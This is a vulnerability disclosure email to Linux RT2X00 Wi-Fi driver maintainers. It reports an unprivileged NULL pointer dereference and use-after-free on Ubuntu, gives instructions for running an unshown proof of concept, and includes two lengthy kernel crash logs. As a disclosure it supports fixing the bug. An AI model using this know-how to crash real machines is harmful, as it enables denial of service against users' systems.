Ubuntu RT2X00 WIFI USB Driver Kernel NULL pointer Dereference&Use-After-Free Vulnerability

Ubuntu RT2X00 WIFI USB Driver Kernel NULL pointer Dereference&Use-After-Free Vulnerability

[color Ice]

[-- Attachment #1.1: Type: text/plain, Size: 38586 bytes --]

Dear RT2X00 driver maintainers,

We have discovered a critical vulnerability in the RT2X00 driver. We
recommend urgently submitting an update.

*Vulnerability Description*: When a PC is running Ubuntu 22.04 or 24.04,
executing our proof of concept (POC) can directly cause a null pointer
dereference or use-after-free (UAF). The systems we tested were:

   - *Description*: Ubuntu 22.04.4 LTS *Release*: 22.04
   - *Description*: Ubuntu 24.04 LTS *Release*: 24.04

We tested network cards from the RT2870/RT3070/RT5370 series, which all
belong to the RT2X00 driver group, and all were able to trigger the
vulnerability. Additionally, executing the POC requires only user-level
privileges. Debian systems are not affected.


Now, there are a few issues that need to be discussed. When executing the
POC on different PCs, it not only triggers a null pointer dereference but
also occasionally triggers a use-after-free (UAF) issue. You can test this
issue yourselves.

*POC Execution Method*:

python3 poc.py

Some systems might be affected by the time.sleep function. If you cannot
successfully reproduce the issue, please modify time.sleep(0.1) in the
script to time.sleep(0.2). Below, I will provide the logs of the null
pointer dereference and UAF from our kernel for analysis.

Replace the VID and PID with your USB network card ID, which you can check
using lsusb.

--------------


Crash Log-Null Pointer


[  371.188382] ieee80211 phy23: rt2x00lib_request_firmware: Info - Loading
firmware file 'rt2870.bin'
[  371.188467] ieee80211 phy23: rt2x00lib_request_firmware: Info - Firmware
detected - version: 0.36
[  371.258315] BUG: kernel NULL pointer dereference, address:
0000000000000038
[  371.258324] #PF: supervisor write access in kernel mode
[  371.258328] #PF: error_code(0x0002) - not-present page
[  371.258330] PGD 0 P4D 0
[  371.258335] Oops: 0002 [#1] PREEMPT SMP NOPTI
[  371.258339] CPU: 8 PID: 144 Comm: kworker/u40:2 Not tainted
6.8.0-40-generic #40~22.04.2-Ubuntu
[  371.258344] Hardware name: Dell Inc. Vostro 3710/072TMP, BIOS 1.1.66
06/22/2022
[  371.258346] Workqueue: phy23 rt2x00usb_work_rxdone [rt2x00usb]
[  371.258363] RIP: 0010:rt2x00usb_work_rxdone+0x5f/0xc0 [rt2x00usb]
[  371.258374] Code: 00 48 c7 45 d0 00 00 00 00 48 c7 45 d8 00 00 00 00 48
c7 45 e0 00 00 00 00 74 45 4c 8d 65 c8 eb 2b 48 8b 47 18 be c0 0c 00 00
<4c> 89 60 38 48 8b 57 10 0f b6 52 6a 88 50 31 e8 8d cc ec ff 48 8b
[  371.258377] RSP: 0018:ffffa1de4063fe08 EFLAGS: 00010246
[  371.258381] RAX: 0000000000000000 RBX: ffff8b1ef7366a90 RCX:
0000000000000000
[  371.258383] RDX: 0000000000000000 RSI: 0000000000000cc0 RDI:
ffff8b1d0be0e000
[  371.258386] RBP: ffffa1de4063fe40 R08: 0000000000000000 R09:
0000000000000000
[  371.258388] R10: 0000000000000000 R11: 0000000000000000 R12:
ffffa1de4063fe08
[  371.258390] R13: ffff8b1d001fcc00 R14: ffff8b1d0a838e05 R15:
ffff8b1ef7366a90
[  371.258392] FS:  0000000000000000(0000) GS:ffff8b207f600000(0000)
knlGS:0000000000000000
[  371.258395] CS:  0010 DS: 0000 ES: 0000 CR0: 0000000080050033
[  371.258397] CR2: 0000000000000038 CR3: 000000044d43c000 CR4:
0000000000f50ef0
[  371.258400] PKRU: 55555554
[  371.258402] Call Trace:
[  371.258405]  <TASK>
[  371.258408]  ? show_regs+0x6d/0x80
[  371.258416]  ? __die+0x24/0x80
[  371.258419]  ? page_fault_oops+0x99/0x1b0
[  371.258425]  ? do_user_addr_fault+0x2ed/0x670
[  371.258430]  ? exc_page_fault+0x83/0x1b0
[  371.258437]  ? asm_exc_page_fault+0x27/0x30
[  371.258444]  ? rt2x00usb_work_rxdone+0x5f/0xc0 [rt2x00usb]
[  371.258454]  ? rt2x00usb_work_rxdone+0x8b/0xc0 [rt2x00usb]
[  371.258463]  process_one_work+0x16c/0x350
[  371.258470]  worker_thread+0x306/0x440
[  371.258476]  ? __pfx_worker_thread+0x10/0x10
[  371.258482]  kthread+0xef/0x120
[  371.258486]  ? __pfx_kthread+0x10/0x10
[  371.258491]  ret_from_fork+0x44/0x70
[  371.258495]  ? __pfx_kthread+0x10/0x10
[  371.258499]  ret_from_fork_asm+0x1b/0x30
[  371.258505]  </TASK>
[  371.258506] Modules linked in: ccm snd_hda_codec_hdmi rfcomm xe
snd_hda_codec_cs8409 snd_hda_codec_generic drm_gpuvm drm_exec gpu_sched
drm_suballoc_helper drm_ttm_helper cmac algif_hash overlay algif_skcipher
af_alg bnep intel_uncore_frequency intel_uncore_frequency_common
snd_sof_pci_intel_tgl x86_pkg_temp_thermal snd_sof_intel_hda_common
intel_powerclamp coretemp soundwire_intel snd_sof_intel_hda_mlink
soundwire_cadence snd_sof_intel_hda kvm_intel snd_sof_pci
snd_sof_xtensa_dsp snd_sof kvm snd_sof_utils snd_soc_hdac_hda
snd_hda_ext_core snd_soc_acpi_intel_match snd_soc_acpi
soundwire_generic_allocation irqbypass soundwire_bus crct10dif_pclmul
polyval_clmulni polyval_generic ghash_clmulni_intel binfmt_misc
snd_usb_audio snd_soc_core sha256_ssse3 sha1_ssse3 snd_usbmidi_lib
aesni_intel rtw88_8821ce snd_compress snd_ump ac97_bus mc rtw88_8821c
rt2800usb snd_pcm_dmaengine rtw88_pci rt2x00usb crypto_simd cryptd
snd_hda_intel rt2800lib dell_wmi snd_seq_midi snd_intel_dspcfg rtw88_core
snd_intel_sdw_acpi snd_seq_midi_event
[  371.258573]  rt2x00lib dell_smbios rapl snd_hda_codec btusb snd_rawmidi
mei_pxp mei_hdcp intel_rapl_msr dcdbas nls_iso8859_1 intel_cstate i915
mac80211 snd_hda_core dell_wmi_ddv btrtl snd_seq dell_smm_hwmon
processor_thermal_device_pci snd_hwdep btintel cmdlinepart
processor_thermal_device drm_buddy dell_wmi_sysman btbcm ledtrig_audio
processor_thermal_wt_hint ttm firmware_attributes_class sparse_keymap
dell_wmi_descriptor wmi_bmof snd_pcm spi_nor btmtk processor_thermal_rfim
snd_seq_device mtd ee1004 snd_timer drm_display_helper
processor_thermal_rapl cfg80211 bluetooth intel_rapl_common cec snd mei_me
pl2303 processor_thermal_wt_req rc_core ecdh_generic
processor_thermal_power_floor usbserial input_leds joydev mei i2c_algo_bit
libarc4 ecc soundcore processor_thermal_mbox int340x_thermal_zone
intel_pmc_core intel_vsec int3400_thermal pmt_telemetry acpi_thermal_rel
pmt_class acpi_tad acpi_pad mac_hid sch_fq_codel msr parport_pc ppdev lp
parport efi_pstore ip_tables x_tables autofs4 hid_generic usbhid hid nvme
[  371.258648]  crc32_pclmul i2c_i801 spi_intel_pci nvme_core i2c_smbus
r8169 spi_intel ahci nvme_auth xhci_pci video xhci_pci_renesas libahci
realtek wmi
[  371.258665] CR2: 0000000000000038
[  371.258668] ---[ end trace 0000000000000000 ]---
[  371.785813] RIP: 0010:rt2x00usb_work_rxdone+0x5f/0xc0 [rt2x00usb]
[  371.785851] Code: 00 48 c7 45 d0 00 00 00 00 48 c7 45 d8 00 00 00 00 48
c7 45 e0 00 00 00 00 74 45 4c 8d 65 c8 eb 2b 48 8b 47 18 be c0 0c 00 00
<4c> 89 60 38 48 8b 57 10 0f b6 52 6a 88 50 31 e8 8d cc ec ff 48 8b
[  371.785854] RSP: 0018:ffffa1de4063fe08 EFLAGS: 00010246
[  371.785861] RAX: 0000000000000000 RBX: ffff8b1ef7366a90 RCX:
0000000000000000
[  371.785863] RDX: 0000000000000000 RSI: 0000000000000cc0 RDI:
ffff8b1d0be0e000
[  371.785864] RBP: ffffa1de4063fe40 R08: 0000000000000000 R09:
0000000000000000
[  371.785866] R10: 0000000000000000 R11: 0000000000000000 R12:
ffffa1de4063fe08
[  371.785867] R13: ffff8b1d001fcc00 R14: ffff8b1d0a838e05 R15:
ffff8b1ef7366a90
[  371.785868] FS:  0000000000000000(0000) GS:ffff8b207f600000(0000)
knlGS:0000000000000000
[  371.785870] CS:  0010 DS: 0000 ES: 0000 CR0: 0000000080050033
[  371.785872] CR2: 0000000000000038 CR3: 000000011dc92000 CR4:
0000000000f50ef0
[  371.785873] PKRU: 55555554
[  371.785876] note: kworker/u40:2[144] exited with irqs disabled
[  371.793418] ieee80211 phy23: rt2800_wait_bbp_ready: Error - BBP register
access failed, aborting
[  371.793422] ieee80211 phy23: rt2800usb_set_device_state: Error - Device
failed to enter state 4 (-5)
[  371.799526] systemd-journald[438]: Compressed data object 1029 -> 509
using ZSTD
[  371.799553] systemd-journald[438]: Compressed data object 1020 -> 543
using ZSTD
[  387.857111] systemd-journald[438]: Successfully sent stream file
descriptor to service manager.
[  387.857138] systemd-journald[438]: Successfully sent stream file
descriptor to service manager.
[  387.861450] systemd-journald[438]: Successfully sent stream file
descriptor to service manager.
[  387.861472] systemd-journald[438]: Successfully sent stream file
descriptor to service manager.
[  387.865327] systemd-journald[438]: Successfully sent stream file
descriptor to service manager.
[  387.865344] systemd-journald[438]: Successfully sent stream file
descriptor to service manager.
[  387.872995] systemd-journald[438]: Successfully sent stream file
descriptor to service manager.
[  387.873032] systemd-journald[438]: Successfully sent stream file
descriptor to service manager.
[  387.961986] systemd-journald[438]: Successfully sent stream file
descriptor to service manager.
[  387.962012] systemd-journald[438]: Successfully sent stream file
descriptor to service manager.
[  388.018331] systemd-journald[438]: Successfully sent stream file
descriptor to service manager.
[  388.018398] systemd-journald[438]: Successfully sent stream file
descriptor to service manager.
[  388.067180] systemd-journald[438]: Successfully sent stream file
descriptor to service manager.
[  388.067201] systemd-journald[438]: Successfully sent stream file
descriptor to service manager.
[  388.323049] systemd-journald[438]: Successfully sent stream file
descriptor to service manager.
[  388.323086] systemd-journald[438]: Successfully sent stream file
descriptor to service manager.
[  453.167476] systemd-journald[438]: Sent WATCHDOG=1 notification.



LOG-Crash-2:UAF



[  +0.000002] refcount_t: addition on 0; use-after-free.
[  +0.000006] WARNING: CPU: 16 PID: 754 at lib/refcount.c:25
refcount_warn_saturate+0x12e/0x150
[  +0.000007] Modules linked in: rt2800usb rt2x00usb rt2800lib rt2x00lib
tcp_diag inet_diag bnep nfnetlink_queue nfnetlink_log bluetooth
ecdh_generic ecc usbmon nf_conntrack_netlink xfrm_user xfrm_algo
xt_addrtype br_netfilter ccm xt_CHECKSUM xt_MASQUERADE xt_conntrack
ipt_REJECT nf_reject_ipv4 xt_tcpudp nft_compat nft_chain_nat nf_nat
nf_conntrack nf_defrag_ipv6 nf_defrag_ipv4 nf_tables libcrc32c nfnetlink
bridge stp llc overlay intel_rapl_msr intel_rapl_common
snd_hda_codec_realtek snd_hda_codec_generic snd_hda_codec_hdmi
snd_hda_intel snd_intel_dspcfg mt7921u mt76x2u snd_intel_sdw_acpi
mt7921_common mt76x2_common edac_mce_amd amdgpu snd_hda_codec
mt76_connac_lib mt76x02_usb mt76x02_lib mt76_usb snd_hda_core kvm_amd
snd_hwdep mt76 binfmt_misc kvm snd_pcm irqbypass mac80211 crct10dif_pclmul
snd_seq_midi amdxcp polyval_clmulni snd_seq_midi_event iommu_v2
polyval_generic drm_buddy ghash_clmulni_intel sha256_ssse3 snd_rawmidi
gpu_sched sha1_ssse3 drm_suballoc_helper aesni_intel drm_ttm_helper
nls_iso8859_1 ttm crypto_simd
[  +0.000095]  snd_seq cryptd cfg80211 drm_display_helper snd_seq_device
snd_timer cec rapl rc_core joydev input_leds libarc4 drm_kms_helper
eeepc_wmi snd wmi_bmof i2c_algo_bit k10temp soundcore ccp mac_hid
sch_fq_codel msr parport_pc ppdev lp parport drm efi_pstore ip_tables
x_tables autofs4 hid_logitech_hidpp hid_logitech_dj hid_generic usbhid hid
mfd_aaeon asus_wmi video ledtrig_audio sparse_keymap platform_profile
crc32_pclmul nvme ahci i2c_piix4 r8169 xhci_pci libahci nvme_core
xhci_pci_renesas realtek nvme_common wmi
[  +0.000063] CPU: 16 PID: 754 Comm: NetworkManager Not tainted
6.5.0-41-generic #41~22.04.2-Ubuntu
[  +0.000003] Hardware name: System manufacturer System Product Name/TUF
GAMING X570-PLUS, BIOS 3603 03/20/2021
[  +0.000001] RIP: 0010:refcount_warn_saturate+0x12e/0x150
[  +0.000003] Code: 1d a5 cc dc 01 80 fb 01 0f 87 6c f8 8d 00 83 e3 01 0f
85 52 ff ff ff 48 c7 c7 10 c0 1c a8 c6 05 85 cc dc 01 01 e8 d2 9f 8f ff
<0f> 0b e9 38 ff ff ff 48 c7 c7 e8 bf 1c a8 c6 05 6c cc dc 01 01 e8
[  +0.000002] RSP: 0018:ffffb0fe4126f4e8 EFLAGS: 00010246
[  +0.000003] RAX: 0000000000000000 RBX: 0000000000000000 RCX:
0000000000000000
[  +0.000002] RDX: 0000000000000000 RSI: 0000000000000000 RDI:
0000000000000000
[  +0.000001] RBP: ffffb0fe4126f4f0 R08: 0000000000000000 R09:
0000000000000000
[  +0.000001] R10: 0000000000000000 R11: 0000000000000000 R12:
ffff919769c2e800
[  +0.000002] R13: ffff91954a975000 R14: 0000000000000820 R15:
00000000ffffff00
[  +0.000002] FS:  00007bfb476a34c0(0000) GS:ffff91a42ee00000(0000)
knlGS:0000000000000000
[  +0.000002] CS:  0010 DS: 0000 ES: 0000 CR0: 0000000080050033
[  +0.000001] CR2: 00000000dc9cae6c CR3: 000000011e4ce000 CR4:
0000000000750ee0
[  +0.000002] PKRU: 55555554
[  +0.000001] Call Trace:
[  +0.000002]  <TASK>
[  +0.000003]  ? show_regs+0x6d/0x80
[  +0.000005]  ? __warn+0x89/0x160
[  +0.000004]  ? refcount_warn_saturate+0x12e/0x150
[  +0.000003]  ? report_bug+0x17e/0x1b0
[  +0.000005]  ? handle_bug+0x46/0x90
[  +0.000004]  ? exc_invalid_op+0x18/0x80
[  +0.000003]  ? asm_exc_invalid_op+0x1b/0x20
[  +0.000006]  ? refcount_warn_saturate+0x12e/0x150
[  +0.000003]  ? refcount_warn_saturate+0x12e/0x150
[  +0.000003]  usb_get_urb+0x52/0x90
[  +0.000004]  usb_hcd_submit_urb+0x23/0x2e0
[  +0.000003]  usb_submit_urb+0x254/0x6c0
[  +0.000006]  rt2x00usb_kick_rx_entry+0xab/0xf0 [rt2x00usb]
[  +0.000006]  rt2x00usb_clear_entry+0x2c/0x40 [rt2x00usb]
[  +0.000005]  rt2x00queue_init_queues+0xa5/0x100 [rt2x00lib]
[  +0.000008]  rt2x00lib_enable_radio+0x28/0xb0 [rt2x00lib]
[  +0.000007]  rt2x00lib_start+0x87/0xd0 [rt2x00lib]
[  +0.000007]  rt2x00mac_start+0x2d/0x80 [rt2x00lib]
[  +0.000007]  drv_start+0x55/0x130 [mac80211]
[  +0.000033]  ieee80211_do_open+0x353/0x7e0 [mac80211]
[  +0.000030]  ieee80211_open+0x76/0xa0 [mac80211]
[  +0.000027]  __dev_open+0x105/0x1d0
[  +0.000004]  __dev_change_flags+0x1b5/0x230
[  +0.000003]  dev_change_flags+0x27/0x80
[  +0.000003]  do_setlink+0x3a1/0xe60
[  +0.000004]  ? srso_alias_return_thunk+0x5/0x7f
[  +0.000003]  ? __nla_validate_parse+0x49/0x1e0
[  +0.000005]  __rtnl_newlink+0x6e5/0x770
[  +0.000005]  rtnl_newlink+0x48/0x80
[  +0.000003]  rtnetlink_rcv_msg+0x170/0x430
[  +0.000003]  ? srso_alias_return_thunk+0x5/0x7f
[  +0.000003]  ? __pfx_rtnetlink_rcv_msg+0x10/0x10
[  +0.000002]  netlink_rcv_skb+0x5d/0x110
[  +0.000005]  rtnetlink_rcv+0x15/0x30
[  +0.000003]  netlink_unicast+0x1b3/0x2a0
[  +0.000002]  netlink_sendmsg+0x25e/0x4e0
[  +0.000004]  ____sys_sendmsg+0x3ef/0x420
[  +0.000003]  ? srso_alias_return_thunk+0x5/0x7f
[  +0.000003]  ___sys_sendmsg+0x9a/0xf0
[  +0.000004]  ? kvfree+0x31/0x40
[  +0.000005]  __sys_sendmsg+0x89/0xf0
[  +0.000004]  __x64_sys_sendmsg+0x1d/0x30
[  +0.000001]  x64_sys_call+0x114d/0x20b0
[  +0.000003]  do_syscall_64+0x55/0x90
[  +0.000002]  ? __rseq_handle_notify_resume+0x37/0x70
[  +0.000003]  ? srso_alias_return_thunk+0x5/0x7f
[  +0.000002]  ? exit_to_user_mode_loop+0xe5/0x130
[  +0.000003]  ? srso_alias_return_thunk+0x5/0x7f
[  +0.000002]  ? exit_to_user_mode_prepare+0x30/0xb0
[  +0.000001]  ? srso_alias_return_thunk+0x5/0x7f
[  +0.000002]  ? syscall_exit_to_user_mode+0x37/0x60
[  +0.000003]  ? srso_alias_return_thunk+0x5/0x7f
[  +0.000001]  ? do_syscall_64+0x61/0x90
[  +0.000002]  ? do_syscall_64+0x61/0x90
[  +0.000002]  entry_SYSCALL_64_after_hwframe+0x73/0xdd
[  +0.000002] RIP: 0033:0x7bfb4872799d
[  +0.000021] Code: 28 89 54 24 1c 48 89 74 24 10 89 7c 24 08 e8 6a 90 f6
ff 8b 54 24 1c 48 8b 74 24 10 41 89 c0 8b 7c 24 08 b8 2e 00 00 00 0f 05
<48> 3d 00 f0 ff ff 77 33 44 89 c7 48 89 44 24 08 e8 ae 90 f6 ff 48
[  +0.000001] RSP: 002b:00007ffd73cd3280 EFLAGS: 00000293 ORIG_RAX:
000000000000002e
[  +0.000002] RAX: ffffffffffffffda RBX: 00000000000004a3 RCX:
00007bfb4872799d
[  +0.000002] RDX: 0000000000000000 RSI: 00007ffd73cd32c0 RDI:
000000000000000c
[  +0.000001] RBP: 000055d422a2e030 R08: 0000000000000000 R09:
0000000000000000
[  +0.000001] R10: 0000000000000000 R11: 0000000000000293 R12:
0000000000000000
[  +0.000001] R13: 00007ffd73cd3410 R14: 00007ffd73cd340c R15:
0000000000000000
[  +0.000003]  </TASK>
[  +0.000001] ---[ end trace 0000000000000000 ]---
[  +0.000004] ------------[ cut here ]------------
[  +0.000001] refcount_t: underflow; use-after-free.
[  +0.000004] WARNING: CPU: 16 PID: 754 at lib/refcount.c:28
refcount_warn_saturate+0xa3/0x150
[  +0.000003] Modules linked in: rt2800usb rt2x00usb rt2800lib rt2x00lib
tcp_diag inet_diag bnep nfnetlink_queue nfnetlink_log bluetooth
ecdh_generic ecc usbmon nf_conntrack_netlink xfrm_user xfrm_algo
xt_addrtype br_netfilter ccm xt_CHECKSUM xt_MASQUERADE xt_conntrack
ipt_REJECT nf_reject_ipv4 xt_tcpudp nft_compat nft_chain_nat nf_nat
nf_conntrack nf_defrag_ipv6 nf_defrag_ipv4 nf_tables libcrc32c nfnetlink
bridge stp llc overlay intel_rapl_msr intel_rapl_common
snd_hda_codec_realtek snd_hda_codec_generic snd_hda_codec_hdmi
snd_hda_intel snd_intel_dspcfg mt7921u mt76x2u snd_intel_sdw_acpi
mt7921_common mt76x2_common edac_mce_amd amdgpu snd_hda_codec
mt76_connac_lib mt76x02_usb mt76x02_lib mt76_usb snd_hda_core kvm_amd
snd_hwdep mt76 binfmt_misc kvm snd_pcm irqbypass mac80211 crct10dif_pclmul
snd_seq_midi amdxcp polyval_clmulni snd_seq_midi_event iommu_v2
polyval_generic drm_buddy ghash_clmulni_intel sha256_ssse3 snd_rawmidi
gpu_sched sha1_ssse3 drm_suballoc_helper aesni_intel drm_ttm_helper
nls_iso8859_1 ttm crypto_simd
[  +0.000055]  snd_seq cryptd cfg80211 drm_display_helper snd_seq_device
snd_timer cec rapl rc_core joydev input_leds libarc4 drm_kms_helper
eeepc_wmi snd wmi_bmof i2c_algo_bit k10temp soundcore ccp mac_hid
sch_fq_codel msr parport_pc ppdev lp parport drm efi_pstore ip_tables
x_tables autofs4 hid_logitech_hidpp hid_logitech_dj hid_generic usbhid hid
mfd_aaeon asus_wmi video ledtrig_audio sparse_keymap platform_profile
crc32_pclmul nvme ahci i2c_piix4 r8169 xhci_pci libahci nvme_core
xhci_pci_renesas realtek nvme_common wmi
[  +0.000036] CPU: 16 PID: 754 Comm: NetworkManager Tainted: G        W
     6.5.0-41-generic #41~22.04.2-Ubuntu
[  +0.000002] Hardware name: System manufacturer System Product Name/TUF
GAMING X570-PLUS, BIOS 3603 03/20/2021
[  +0.000001] RIP: 0010:refcount_warn_saturate+0xa3/0x150
[  +0.000002] Code: 94 00 0f b6 1d 2b cd dc 01 80 fb 01 0f 87 df f8 8d 00
83 e3 01 75 dd 48 c7 c7 40 c0 1c a8 c6 05 0f cd dc 01 01 e8 5d a0 8f ff
<0f> 0b eb c6 0f b6 1d 02 cd dc 01 80 fb 01 0f 87 9f f8 8d 00 83 e3
[  +0.000002] RSP: 0018:ffffb0fe4126f4e8 EFLAGS: 00010246
[  +0.000001] RAX: 0000000000000000 RBX: 0000000000000000 RCX:
0000000000000000
[  +0.000001] RDX: 0000000000000000 RSI: 0000000000000000 RDI:
0000000000000000
[  +0.000001] RBP: ffffb0fe4126f4f0 R08: 0000000000000000 R09:
0000000000000000
[  +0.000002] R10: 0000000000000000 R11: 0000000000000000 R12:
00000000fffffffe
[  +0.000001] R13: ffff91954a975000 R14: 0000000000000820 R15:
00000000ffffff00
[  +0.000001] FS:  00007bfb476a34c0(0000) GS:ffff91a42ee00000(0000)
knlGS:0000000000000000
[  +0.000001] CS:  0010 DS: 0000 ES: 0000 CR0: 0000000080050033
[  +0.000002] CR2: 00000000dc9cae6c CR3: 000000011e4ce000 CR4:
0000000000750ee0
[  +0.000001] PKRU: 55555554
[  +0.000001] Call Trace:
[  +0.000001]  <TASK>
[  +0.000001]  ? show_regs+0x6d/0x80
[  +0.000002]  ? __warn+0x89/0x160
[  +0.000003]  ? refcount_warn_saturate+0xa3/0x150
[  +0.000002]  ? report_bug+0x17e/0x1b0
[  +0.000003]  ? handle_bug+0x46/0x90
[  +0.000002]  ? exc_invalid_op+0x18/0x80
[  +0.000003]  ? asm_exc_invalid_op+0x1b/0x20
[  +0.000003]  ? refcount_warn_saturate+0xa3/0x150
[  +0.000003]  ? refcount_warn_saturate+0xa3/0x150
[  +0.000001]  usb_free_urb+0x67/0x80
[  +0.000003]  usb_hcd_submit_urb+0x14e/0x2e0
[  +0.000002]  usb_submit_urb+0x254/0x6c0
[  +0.000003]  rt2x00usb_kick_rx_entry+0xab/0xf0 [rt2x00usb]
[  +0.000005]  rt2x00usb_clear_entry+0x2c/0x40 [rt2x00usb]
[  +0.000003]  rt2x00queue_init_queues+0xa5/0x100 [rt2x00lib]
[  +0.000006]  rt2x00lib_enable_radio+0x28/0xb0 [rt2x00lib]
[  +0.000005]  rt2x00lib_start+0x87/0xd0 [rt2x00lib]
[  +0.000005]  rt2x00mac_start+0x2d/0x80 [rt2x00lib]
[  +0.000005]  drv_start+0x55/0x130 [mac80211]
[  +0.000025]  ieee80211_do_open+0x353/0x7e0 [mac80211]
[  +0.000028]  ieee80211_open+0x76/0xa0 [mac80211]
[  +0.000026]  __dev_open+0x105/0x1d0
[  +0.000004]  __dev_change_flags+0x1b5/0x230
[  +0.000003]  dev_change_flags+0x27/0x80
[  +0.000003]  do_setlink+0x3a1/0xe60
[  +0.000003]  ? srso_alias_return_thunk+0x5/0x7f
[  +0.000003]  ? __nla_validate_parse+0x49/0x1e0
[  +0.000004]  __rtnl_newlink+0x6e5/0x770
[  +0.000005]  rtnl_newlink+0x48/0x80
[  +0.000002]  rtnetlink_rcv_msg+0x170/0x430
[  +0.000003]  ? srso_alias_return_thunk+0x5/0x7f
[  +0.000003]  ? __pfx_rtnetlink_rcv_msg+0x10/0x10
[  +0.000002]  netlink_rcv_skb+0x5d/0x110
[  +0.000005]  rtnetlink_rcv+0x15/0x30
[  +0.000002]  netlink_unicast+0x1b3/0x2a0
[  +0.000003]  netlink_sendmsg+0x25e/0x4e0
[  +0.000003]  ____sys_sendmsg+0x3ef/0x420
[  +0.000002]  ? srso_alias_return_thunk+0x5/0x7f
[  +0.000004]  ___sys_sendmsg+0x9a/0xf0
[  +0.000003]  ? kvfree+0x31/0x40
[  +0.000004]  __sys_sendmsg+0x89/0xf0
[  +0.000004]  __x64_sys_sendmsg+0x1d/0x30
[  +0.000002]  x64_sys_call+0x114d/0x20b0
[  +0.000002]  do_syscall_64+0x55/0x90
[  +0.000001]  ? __rseq_handle_notify_resume+0x37/0x70
[  +0.000003]  ? srso_alias_return_thunk+0x5/0x7f
[  +0.000002]  ? exit_to_user_mode_loop+0xe5/0x130
[  +0.000002]  ? srso_alias_return_thunk+0x5/0x7f
[  +0.000001]  ? exit_to_user_mode_prepare+0x30/0xb0
[  +0.000002]  ? srso_alias_return_thunk+0x5/0x7f
[  +0.000002]  ? syscall_exit_to_user_mode+0x37/0x60
[  +0.000002]  ? srso_alias_return_thunk+0x5/0x7f
[  +0.000002]  ? do_syscall_64+0x61/0x90
[  +0.000001]  ? do_syscall_64+0x61/0x90
[  +0.000002]  entry_SYSCALL_64_after_hwframe+0x73/0xdd
[  +0.000002] RIP: 0033:0x7bfb4872799d
[  +0.000005] Code: 28 89 54 24 1c 48 89 74 24 10 89 7c 24 08 e8 6a 90 f6
ff 8b 54 24 1c 48 8b 74 24 10 41 89 c0 8b 7c 24 08 b8 2e 00 00 00 0f 05
<48> 3d 00 f0 ff ff 77 33 44 89 c7 48 89 44 24 08 e8 ae 90 f6 ff 48
[  +0.000002] RSP: 002b:00007ffd73cd3280 EFLAGS: 00000293 ORIG_RAX:
000000000000002e
[  +0.000002] RAX: ffffffffffffffda RBX: 00000000000004a3 RCX:
00007bfb4872799d
[  +0.000001] RDX: 0000000000000000 RSI: 00007ffd73cd32c0 RDI:
000000000000000c
[  +0.000001] RBP: 000055d422a2e030 R08: 0000000000000000 R09:
0000000000000000
[  +0.000001] R10: 0000000000000000 R11: 0000000000000293 R12:
0000000000000000
[  +0.000001] R13: 00007ffd73cd3410 R14: 00007ffd73cd340c R15:
0000000000000000
[  +0.000003]  </TASK>
[  +0.000001] ---[ end trace 0000000000000000 ]---
[  +0.000002] BUG: unable to handle page fault for address: 00000000000011b0
[  +0.000003] #PF: supervisor read access in kernel mode
[  +0.000001] #PF: error_code(0x0000) - not-present page
[  +0.000002] PGD 0 P4D 0
[  +0.000003] Oops: 0000 [#1] PREEMPT SMP NOPTI
[  +0.000002] CPU: 16 PID: 754 Comm: NetworkManager Tainted: G        W
     6.5.0-41-generic #41~22.04.2-Ubuntu
[  +0.000002] Hardware name: System manufacturer System Product Name/TUF
GAMING X570-PLUS, BIOS 3603 03/20/2021
[  +0.000001] RIP: 0010:rt2x00usb_clear_entry+0x5/0x40 [rt2x00usb]
[  +0.000004] Code: d2 31 c9 31 f6 31 ff 45 31 c0 e9 e6 1a 90 e5 66 0f 1f
44 00 00 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 0f 1f 44 00 00
<48> 8b 47 10 48 c7 07 00 00 00 00 83 78 10 0e 74 0b 31 c0 31 f6 31
[  +0.000002] RSP: 0018:ffffb0fe4126f5e0 EFLAGS: 00010206
[  +0.000002] RAX: ffffffffc20411f0 RBX: 000000000000005f RCX:
0000000000000000
[  +0.000001] RDX: 0000000000000000 RSI: 0000000000000000 RDI:
00000000000011a0
[  +0.000002] RBP: ffffb0fe4126f600 R08: 0000000000000000 R09:
0000000000000000
[  +0.000001] R10: 0000000000000000 R11: 0000000000000000 R12:
ffff919567fab4f0
[  +0.000002] R13: ffff9198efd9e060 R14: ffff9198efd9c900 R15:
ffff9196786a4000
[  +0.000001] FS:  00007bfb476a34c0(0000) GS:ffff91a42ee00000(0000)
knlGS:0000000000000000
[  +0.000002] CS:  0010 DS: 0000 ES: 0000 CR0: 0000000080050033
[  +0.000002] CR2: 00000000000011b0 CR3: 000000011e4ce000 CR4:
0000000000750ee0
[  +0.000001] PKRU: 55555554
[  +0.000001] Call Trace:
[  +0.000002]  <TASK>
[  +0.000001]  ? show_regs+0x6d/0x80
[  +0.000003]  ? __die+0x24/0x80
[  +0.000003]  ? page_fault_oops+0x99/0x1b0
[  +0.000004]  ? do_user_addr_fault+0x31d/0x6b0
[  +0.000003]  ? exc_page_fault+0x83/0x1b0
[  +0.000003]  ? asm_exc_page_fault+0x27/0x30
[  +0.000003]  ? __pfx_rt2x00usb_clear_entry+0x10/0x10 [rt2x00usb]
[  +0.000004]  ? rt2x00usb_clear_entry+0x5/0x40 [rt2x00usb]
[  +0.000005]  ? rt2x00queue_init_queues+0xa5/0x100 [rt2x00lib]
[  +0.000005]  rt2x00lib_enable_radio+0x28/0xb0 [rt2x00lib]
[  +0.000006]  rt2x00lib_start+0x87/0xd0 [rt2x00lib]
[  +0.000005]  rt2x00mac_start+0x2d/0x80 [rt2x00lib]
[  +0.000006]  drv_start+0x55/0x130 [mac80211]
[  +0.000025]  ieee80211_do_open+0x353/0x7e0 [mac80211]
[  +0.000028]  ieee80211_open+0x76/0xa0 [mac80211]
[  +0.000027]  __dev_open+0x105/0x1d0
[  +0.000004]  __dev_change_flags+0x1b5/0x230
[  +0.000003]  dev_change_flags+0x27/0x80
[  +0.000004]  do_setlink+0x3a1/0xe60
[  +0.000004]  ? srso_alias_return_thunk+0x5/0x7f
[  +0.000002]  ? __nla_validate_parse+0x49/0x1e0
[  +0.000004]  __rtnl_newlink+0x6e5/0x770
[  +0.000006]  rtnl_newlink+0x48/0x80
[  +0.000003]  rtnetlink_rcv_msg+0x170/0x430
[  +0.000003]  ? srso_alias_return_thunk+0x5/0x7f
[  +0.000003]  ? __pfx_rtnetlink_rcv_msg+0x10/0x10
[  +0.000003]  netlink_rcv_skb+0x5d/0x110
[  +0.000005]  rtnetlink_rcv+0x15/0x30
[  +0.000002]  netlink_unicast+0x1b3/0x2a0
[  +0.000003]  netlink_sendmsg+0x25e/0x4e0
[  +0.000004]  ____sys_sendmsg+0x3ef/0x420
